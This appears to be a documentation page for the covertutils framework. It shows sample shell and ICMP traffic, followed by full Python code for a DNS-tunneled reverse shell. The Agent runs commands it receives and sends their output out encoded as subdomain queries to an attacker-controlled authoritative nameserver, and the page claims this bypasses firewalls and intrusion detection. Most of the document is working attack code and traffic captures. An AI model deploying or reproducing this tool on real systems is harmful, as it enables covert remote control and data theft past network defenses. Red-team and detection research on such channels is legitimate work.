(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]>
(covertutils v0.1.1)[control]> !main
(covertutils v0.1.1)[main]> ls -la
(covertutils v0.1.1)[main]>
total 120
drwxr-xr-x 15 unused unused 4096 Jun 15 06:12 .
drwxr-xr-x 20 unused unused 4096 Jun 14 23:48 ..
drwxr-xr-x  3 unused unused 4096 Jun 14 23:13 build
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .cache
-rw-r--r--  1 unused unused  904 Jun  2 13:42 cov-badge.svg
-rw-r--r--  1 unused unused 6563 Jun  8 14:10 .coverage
drwxr-xr-x  9 unused unused 4096 Jun 14 20:44 covertutils
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 covertutils.egg-info
drwxr-xr-x  2 unused unused 4096 Jun  2 13:42 dist
drwxr-xr-x  4 unused unused 4096 Jun 14 21:15 docs
drwxr-xr-x  3 unused unused 4096 Jun  2 13:42 .eggs
drwxr-xr-x  2 unused unused 4096 Jun 15 05:47 examples
drwxr-xr-x  8 unused unused 4096 Jun 15 06:03 .git
-rw-r--r--  1 unused unused  129 Jun  2 13:42 .gitignore
drwxr-xr-x  2 unused unused 4096 Jun  8 14:10 htmlcov
-rw-r--r--  1 unused unused 1107 Jun  8 12:20 makefile
-rw-r--r--  1 unused unused 1509 Jun 14 23:13 MANIFEST
-rw-r--r--  1 unused unused   36 Jun  2 13:42 MANIFEST.in
-rw-r--r--  1 unused unused  845 Jun  8 14:19 shell_manual_test.py
drwxr-xr-x  2 unused unused 4096 Jun  8 16:11 __pycache__
-rw-------  1 unused unused  242 Jun  2 13:42 .pypirc
-rw-r--r--  1 unused unused 3678 Jun  2 13:42 README.md
-rw-r--r--  1 unused unused    8 Jun  3 10:40 requirements.txt
-rw-r--r--  1 unused unused  755 Jun  2 13:42 setup.py
-rw-r--r--  1 unused unused  865 Jun  3 10:32 setup.pyc
drwxr-xr-x  3 unused unused 4096 Jun 14 20:42 tests
drwxr-xr-x  6 unused unused 4096 Jun  2 13:42 .tox
-rw-r--r--  1 unused unused  385 Jun  2 13:42 tox.ini
-rw-r--r--  1 unused unused  329 Jun  2 13:42 .travis.yml


(covertutils v0.1.1)[main]>
Really Control-C [y/N]? y
Aborted by the user...
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:31:54.810249 IP (tos 0x0, ttl 64, id 39362, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 1, length 64
08:31:54.862667 IP (tos 0x0, ttl 64, id 36489, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 1, length 64
08:31:54.990472 IP (tos 0x0, ttl 64, id 53551, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 2, length 64
08:31:55.018247 IP (tos 0x0, ttl 64, id 48089, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 2, length 64
08:31:55.165880 IP (tos 0x0, ttl 64, id 53467, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 3, length 64
08:31:55.205429 IP (tos 0x0, ttl 64, id 40848, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 3, length 64
08:31:55.362147 IP (tos 0x0, ttl 64, id 55081, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 4, length 64
08:31:55.390401 IP (tos 0x0, ttl 64, id 39089, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 4, length 64
08:31:55.525458 IP (tos 0x0, ttl 64, id 38271, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 5, length 64
08:31:55.554284 IP (tos 0x0, ttl 64, id 28862, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 5, length 64
08:31:55.697674 IP (tos 0x0, ttl 64, id 53618, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 6, length 64
08:31:55.733123 IP (tos 0x0, ttl 64, id 38177, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 6, length 64
08:31:55.878168 IP (tos 0x0, ttl 64, id 28090, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 5796, seq 7, length 64
08:31:55.909602 IP (tos 0x0, ttl 64, id 17611, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 5796, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel

Linux Ping Traffic

ping -c 7 127.0.0.5
PING 127.0.0.5 (127.0.0.5) 56(84) bytes of data.
64 bytes from 127.0.0.5: icmp_seq=1 ttl=64 time=0.031 ms
64 bytes from 127.0.0.5: icmp_seq=2 ttl=64 time=0.047 ms
64 bytes from 127.0.0.5: icmp_seq=3 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=4 ttl=64 time=0.053 ms
64 bytes from 127.0.0.5: icmp_seq=5 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=6 ttl=64 time=0.050 ms
64 bytes from 127.0.0.5: icmp_seq=7 ttl=64 time=0.052 ms

--- 127.0.0.5 ping statistics ---
7 packets transmitted, 7 received, 0% packet loss, time 6149ms
rtt min/avg/max/mdev = 0.031/0.048/0.053/0.007 ms
tcpdump -i lo icmp -vv -nn
tcpdump: listening on lo, link-type EN10MB (Ethernet), capture size 262144 bytes
08:23:43.511965 IP (tos 0x0, ttl 64, id 65001, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 1, length 64
08:23:43.511975 IP (tos 0x0, ttl 64, id 34349, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 1, length 64
08:23:44.541260 IP (tos 0x0, ttl 64, id 65026, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 2, length 64
08:23:44.541273 IP (tos 0x0, ttl 64, id 34539, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 2, length 64
08:23:45.565248 IP (tos 0x0, ttl 64, id 65215, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 3, length 64
08:23:45.565262 IP (tos 0x0, ttl 64, id 34742, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 3, length 64
08:23:46.588884 IP (tos 0x0, ttl 64, id 65448, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 4, length 64
08:23:46.588898 IP (tos 0x0, ttl 64, id 34956, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 4, length 64
08:23:47.612154 IP (tos 0x0, ttl 64, id 65491, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 5, length 64
08:23:47.612167 IP (tos 0x0, ttl 64, id 35125, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 5, length 64
08:23:48.636315 IP (tos 0x0, ttl 64, id 131, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 6, length 64
08:23:48.636328 IP (tos 0x0, ttl 64, id 35315, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 6, length 64
08:23:49.661129 IP (tos 0x0, ttl 64, id 151, offset 0, flags [DF], proto ICMP (1), length 84)
    127.0.0.1 > 127.0.0.5: ICMP echo request, id 34064, seq 7, length 64
08:23:49.661142 IP (tos 0x0, ttl 64, id 35362, offset 0, flags [none], proto ICMP (1), length 84)
    127.0.0.5 > 127.0.0.1: ICMP echo reply, id 34064, seq 7, length 64
^C
14 packets captured
28 packets received by filter
0 packets dropped by kernel

It is no copy-paste

You can say from the IP identification fields…

Agnostic DNS Reverse Shell

The DNS Reverse Shell uses a kind of Communication Channel that can bypass most Firewalls/Traffic Inpectors/I[DP]S.

It uses the main feature of the DNS protocol, delegation, to route its traffic from the Agent to the Handler - without a hardcoded IP or Domain Name in the Agent.

For this Shell to work, there are the following Handler (only) requirements:
  • root permissions to bind to UDP port 53 (DNS)
  • A Domain name
  • Public IP

OR

  • A PortForwarded 53 UDP port to a Public IP.

The Agent has no requirements to work.

The Concept

When a host issues a DNS request for a domain name (e.g test.www.securosophy.com), the DNS request packet is send (typically using UDP) to the first Nameserver registered to the host. This Nameserver tries to resolve the domain name to an IP address, by querying or asking the initial host to query other Nameservers. Every Nameserver queried after the initial one will point towards another Nameserver that knows about the specific subdomain asked.

The trick lies on using a subdomain name as Data, and make a request that will eventually end up on a Nameserver that the user controls (that’s the Handler)!

The Setup

Handler - Server

Given a purchased domain name (e.g example.com), a subdomain can be created (e.g sub.example.com). Then, modifying the NS records for sub.example.com to point to a subdomain like ns1.example.com will return the Authoritative Nameserver for all requests in sub.example.com (e.g test1.sub.example.com, random-whatever.sub.example.com) to be ns1.example.com. So, setting the A (or AAAA) of ns1.example.com to the Handler’s Public IP (or NAT’d Public IP with PortForward), will route every (non-cached) request to sub.example.com subdomain to the Handler’s IP address.

Agent - Client

The Agent uses getaddrinfo() OS API call to query for subdomains. Using an OS API call has the advantage that the process does not send a UDP packet itself, hence it uses no socket programming. The data exfiltration is happening (traditionally) by subdomain names (e.g cmFuZG9tIGRhdGEK.sub.example.com). The queries for those subdomains are always routed to the Authoritative Nameserver (as they contain random parts and cannot be cached), so the data always reaches the Handler. The Handler packs data in IPv6 addresses (16 byte chunks), and responds with a legitimate DNS reply.

The Code

Agent - Client

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.handlers import InterrogatingHandler
from covertutils.handlers.impl import StandardShellHandler, ExtendableShellHandler
from covertutils.orchestration import  SimpleOrchestrator

from os import urandom
from time import sleep
import sys
import socket
try :
	import Queue as queue
except :
	import queue



#============================== Handler Overriding part ===================

class ShellHandler ( InterrogatingHandler, StandardShellHandler ) :

	def __init__( self, recv, send, orch ) :
		super( ShellHandler, self ).__init__( recv, send, orch, # basic handler arguments
											fetch_stream = 'control',	# argument from 'InterrogatingHandler'
											stage_stream = 'stage',
											delay_between = (0.0, 3),	 # argument from 'InterrogatingHandler'
											)	# The arguments will find their corresponding class and update the default values

	def onChunk( self, stream, message ) : print "Chunk!"		# If a part of a message arrives - do nothing.

	def onMessage( self, stream, message ) :		# If a message arrives

		if message != 'X' :								# If message is not the 'no data available' flag :
			output = super(ShellHandler, self).onMessage( stream, message )	# Run the received message
																				#through the corresponding function
			print output
			print( "[+] Command Run - generated %d bytes of output!" % len(bytes(output)) )
			self.queueSend( output, stream )			# Queue the output to send in next interval
		# pass

	def onNotRecognised( self ) : print( "[!] < Unrecognised >" )


#==========================================================================


#============================== Networking part ===========================

# The subdomain whose authoritative DNS is the Handler Host
base_domain = sys.argv[1] 	# called as 'python Client.py sub.securosophy.net
recv_queue = queue.Queue()


def encode_payload( data ) :
	'''
	"</SECRET>" becomes PFNFQ1JFVC8_Cg
	'''
	enc_data = data.encode('base64').replace("=", "").replace("/","-").replace("+","_").strip()
	return enc_data

def send( raw ) :
	enc = encode_payload( raw )
	payload = "%s.%s" % (enc, base_domain) # urandom(1).encode('hex')
	print payload
	try :
		# resp = socket.gethostbyname( payload )
		resp = socket.getaddrinfo(payload, 80)
		recv_queue.put(resp)
	except Exception as e:
		# print e
		print "Couldn't resolve", e

def recv( ) :
	global resp_queue
	resp = recv_queue.get()
	total_resp = ''
	# Parse both IPv4 and IPv6 addresses
	for x in resp :
		try :
			d = socket.inet_pton(socket.AF_INET6, x[4][0])
			total_resp += d
		except :
			d = socket.inet_pton(socket.AF_INET, x[4][0])
	recv_queue.task_done
	if not total_resp : total_resp = urandom(16)
	resp = None
	return total_resp[:16]

#==========================================================================


#=============================Handler Creation=============================

passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys

orch = SimpleOrchestrator( passphrase,
							reverse = False, 			# For 2 Orchestrator objects to be compatible one must have 'reverse = True'
							tag_length = 2,		# The tag length in bytes
							out_length = 35,	# The absolute output byte length (with tags)
							in_length = 16,		# The absolute input byte length (with tags)
							# streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
							)

handler = ShellHandler( recv, send, orch )

#==========================================================================

# Wait forever as all used threads are daemonized
while True : sleep(10)


#	Magic!

Handler - Server

#!/usr/bin/env python
#============================== Imports part =============================

from covertutils.handlers import ResponseOnlyHandler
from covertutils.orchestration import SimpleOrchestrator

from covertutils.shells.impl import StandardShell, ExtendableShell, SimpleShell

from threading import Thread		# Need a thread for running a sniffer
from time import sleep			# I spin lock a lot

from random import randint		# Generating ICMP and IP id fields needs randomness
from struct import pack			# packing a unixtime in Pings is key
import time						# used for unixtime

from os import urandom
import sys						# Used for arguments

from dnslib import RR,QTYPE,RCODE,TXT,parse_time,AAAA,A
from dnslib.label import DNSLabel
from dnslib.server import DNSServer,DNSHandler,BaseResolver,DNSLogger

import socket
try :
	import Queue as queue
except :
	import queue

# passphrase = sys.argv[2]		# The passphrase the agent uses
passphrase = "App1e5&0raNg3s"	# This is used to generate encryption keys


dns_data = queue.Queue()
dns_reply = queue.Queue()


def decode_payload( data ) :

	enc_data = data.replace("-","/").replace("_","+").strip()
	for i in range(2) :
		try :
			return enc_data.decode('base64')
		except Exception as e:
			# Appends '=' if data could not be decoded
			enc_data += '='


class HandlerResolver(BaseResolver):

	def __init__(self,origin,ttl):
		self.origin = DNSLabel(origin)
		self.ttl = parse_time(ttl)

	def resolve(self,request,handler):

		global dns_data
		global dns_reply

		reply = request.reply()
		qname = request.q.qname
		qname_str = str(qname)
		enc_data = qname_str.split('.')[0]
		data = decode_payload(enc_data)

		if request.q.qtype == QTYPE.A :		# The A version of the query
			# orig_response = gethostbyname()
			reply.add_answer(RR(qname,QTYPE.A,ttl=self.ttl,
								rdata=A('127.0.0.1')))

		if request.q.qtype == QTYPE.AAAA :		# The A version of the query
			if data :
				dns_data.put(data)

			try :
				data = dns_reply.get( False, 2 )
				dns_reply.task_done()
			except Exception as e :
				print "Sending Random data < for '%s'" % qname_str
				data = urandom(16)

			aaaa_repl = socket.inet_ntop(socket.AF_INET6, data)

			reply.add_answer(RR(qname,QTYPE.AAAA,ttl=self.ttl,
								rdata=AAAA(aaaa_repl)))
			# print reply

		# print "Replying to query for '%s" % qname_str
		return reply


import logging
resolver = HandlerResolver('.', '60s')
logger = DNSLogger('-request,-reply,-truncated,-error,-recv,-send,-data', '')

udp_server = DNSServer(resolver,
						   port= 53,
						   # port= 5353,
						   # address=args.address,
						   logger=logger
						   )
udp_server.start_thread()



# #============================== Networking part ===========================
# # The networking is handled by Python and Scapy. No 'covertutils' code here...


def recv( ) :		# Networking Wrapper function needed for the handler
	global dns_data
	pkt = dns_data.get()	# Get the first packet
	dns_data.task_done()
	return pkt		# Return the raw data to Handler


def send( raw_data ) :	# Networking Wrapper function needed for the handler

	global dns_reply
	dns_reply.put(raw_data)


# #==========================================================================


# #============================== Handler Overriding part ===================

#	ResponseOnlyHandler because the Agent never sends packets adHoc but only as responses
class Handler( ResponseOnlyHandler ) :

	def onMessage( self, stream, message ) :	# When a Message arrives
		# If the Parent Class would respond (the message was a request), don't bother responding
		responded = super( Handler, self ).onMessage( stream, message )
		if not responded :	# If the message was real data (not 'ResponseOnlyHandler.request_data' string), the Parent Class didn't respond
			self.queueSend("X", 'control');	# Make it respond anyway with 'X' (see Client)
			responded = super( Handler, self ).onMessage( stream, message )
			assert responded == True		# This way we know it responsed!


	def onChunk( self, stream, message ) :	# When a Chunk arrives
		if not message :	# If it is not a complete message (but a part of one)
			self.queueSend( self.request_data, stream )	# Add a message to the send queue
			resp = ResponseOnlyHandler.onMessage( self, stream, self.request_data  )	# Run the ResponseOnlyHandler onMessage
			# That automatically responds with the next Message in queue when called. (Always responding to messages behavior)


	def onNotRecognised( self ) :	# When Junk arrives
		pass			# Do nothing

#==========================================================================



# #=============================Handler Creation=============================


orchestrator = SimpleOrchestrator( passphrase,	# Encryption keys generated from the passphrase
				tag_length = 2,		# The tag length in bytes
				out_length = 16,	# The absolute output byte length (with tags)
				in_length = 35,		# The absolute input byte length (with tags)
				# streams = ['heartbeat'],	# Stream 'control' will be automatically added as failsafe mechanism
				reverse = True )	# Reverse the encryption channels - Agent has `reverse = False`

handler = Handler( recv, send, orchestrator, request_data = 'X' )	# Instantiate the Handler object. Finally!

#==========================================================================


#============================== Shell Design part ========================

shell = ExtendableShell( handler, ignore_messages = 'X' )	# 'X' is used for polling
shell.start( False )
import os
os._exit(-1)
udp_server.stop_thread()
#==========================================================================

#	Magic!

Traffic Sample

An ls -l command generated the below traffic sample:

08:57:56.335632 IP localhost.34452 > localhost.domain: 21061+ A? -WG-FGeH5tX2foLCoUsmnG2zLY4w3qCxa5vkNVLZzKDmrPc.sub.securosophy.net. (85)
08:57:56.335656 IP localhost.34452 > localhost.domain: 47771+ AAAA? -WG-FGeH5tX2foLCoUsmnG2zLY4w3qCxa5vkNVLZzKDmrPc.sub.securosophy.net. (85)
08:57:56.336439 IP localhost.domain > localhost.34452: 21061* 1/0/0 A 127.0.0.1 (101)
08:57:56.338222 IP localhost.domain > localhost.34452: 47771* 1/0/0 AAAA 8e97:1e62:7a43:6c52:29a:5b7b:de76:5ad1 (113)
08:57:56.338582 IP localhost.59587 > localhost.domain: 35582+ A? IZ7s-G-BDvH0w-LAMDGU8b-oQ-B111HmuYOihmg7pSCN7Pk.sub.securosophy.net. (85)
08:57:56.338605 IP localhost.59587 > localhost.domain: 56935+ AAAA? IZ7s-G-BDvH0w-LAMDGU8b-oQ-B111HmuYOihmg7pSCN7Pk.sub.securosophy.net. (85)
08:57:56.343726 IP localhost.domain > localhost.59587: 35582* 1/0/0 A 127.0.0.1 (101)
08:57:56.343830 IP localhost.domain > localhost.59587: 56935* 1/0/0 AAAA b407:3c69:72e2:429e:3ea6:2ee6:31b4:8cc1 (113)
08:57:56.344491 IP localhost.37893 > localhost.domain: 43966+ A? OelscC7CUHrepHj3JhvI0MkXQ-gY2K6J1VoYFOitM1rgFAE.sub.securosophy.net. (85)
08:57:56.344663 IP localhost.37893 > localhost.domain: 19997+ AAAA? OelscC7CUHrepHj3JhvI0MkXQ-gY2K6J1VoYFOitM1rgFAE.sub.securosophy.net. (85)
08:57:56.346375 IP localhost.domain > localhost.37893: 43966* 1/0/0 A 127.0.0.1 (101)
08:57:56.349638 IP localhost.domain > localhost.37893: 19997* 1/0/0 AAAA dade:6d79:e5dd:43b:dfd:94d:9298:aa2b (113)